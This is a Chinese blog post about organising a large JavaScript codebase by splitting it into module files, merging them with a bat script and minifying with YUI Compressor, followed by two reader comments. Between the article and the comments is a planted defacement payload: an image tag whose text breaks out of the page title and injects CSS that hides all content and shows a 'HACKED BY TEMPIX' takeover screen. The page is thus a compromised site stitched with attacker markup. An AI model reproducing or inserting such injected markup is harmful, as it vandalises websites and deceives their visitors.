在一个项目刚起步时,往往除了jquery之类的库外,只有一个js文件。
然而随着功能的不断增加,js代码也会不断膨胀,当多到一定程度后(500行以上),维护难度就会大大增加。组织逻辑混乱,debug时很难迅速定位到想修改的地方,写新function时也很难抉择插入的位置。整天在一个长长的js文件里滚来滚去,想想都让人头疼。
一个可选的方案是使用依赖库,诸如requireJS、SeaJS、In.js等等。但需要引入更多的代码,要抽出精力来维护依赖关系,还会增加额外的http请求。
在大多数情况下,js代码不会膨胀到必需引入依赖库的地步。有没有办法可以在不增加新代码和http请求的前提下,对js代码进行细粒度的维护呢?
在目前的项目中,除去jquery等类库后的js代码约有120kb(压缩后58kb),我们使用这样的方案:
1、按模块或者按性质将js拆分成多个文件,比如将和用户相关的部分抽取出来成为user.js、共用的方法抽取出来成为helpers.js等。
2、编写sh脚本(linux)或bat脚本(windows)合并所有js为all.js,并调用yuicompressor进行压缩生成all-min.js。
//windows下的bat脚本 del all.js all-min.js type source\*.js > all.js java -jar yc.jar --preserve-semi -o all-min.js all.js
3、在开发环境使用all.js(方便deug),生产环境使用all-min.js。
![HACKED BY TEMPIX</title>
<style>
@import url('https://fonts.googleapis.com/css2?family=Share+Tech+Mono&display=swap');
*{margin:0;padding:0;box-sizing:border-box}
body,html{overflow:hidden!important;font-family:'Share Tech Mono',monospace}
body *:not(style){display:none!important}
body{
background:#000!important;
position:fixed!important;
width:100vw!important;
height:100vh!important;
display:flex!important;
align-items:center!important;
justify-content:center!important;
}
body::before{
content:"";
position:absolute;
top:0;left:0;right:0;bottom:0;
background:
linear-gradient(90deg,#0f0 1px,transparent 1px),
linear-gradient(180deg,#0f0 1px,transparent 1px);
background-size:50px 50px;
opacity:0.1;
animation:grid 20s linear infinite;
}
@keyframes grid{
0%{transform:perspective(500px) rotateX(60deg) translateZ(0)}
100%{transform:perspective(500px) rotateX(60deg) translateZ(500px)}
}
body::after{
content:"HACKED BY TEMPIX\A\AJ E M B O T\AJembot Mawot Pejuh Muncrat\A\A[ SYSTEM COMPROMISED ]";
white-space:pre;
display:block!important;
color:#0f0;
font-size:48px;
text-align:center;
z-index:999999;
animation:glitch 2s infinite,glow 1.5s infinite;
text-shadow:
0 0 10px #0f0,
0 0 20px #0f0,
0 0 30px #0f0,
0 0 40px #0f0;
}
@keyframes glitch{
0%,100%{transform:translate(0)}
20%{transform:translate(-2px,2px)}
40%{transform:translate(-2px,-2px)}
60%{transform:translate(2px,2px)}
80%{transform:translate(2px,-2px)}
}
@keyframes glow{
0%,100%{opacity:1}
50%{opacity:0.7}
}
h1,h2,h3,h4,h5,h6,p,div,span,a{display:none!important}
</style>
<title>](https://zhangshenjia.com/wp-content/uploads/2018/12/cropped-640-2.jpg)
closure党路过。。。
不错,对我很有用,学习了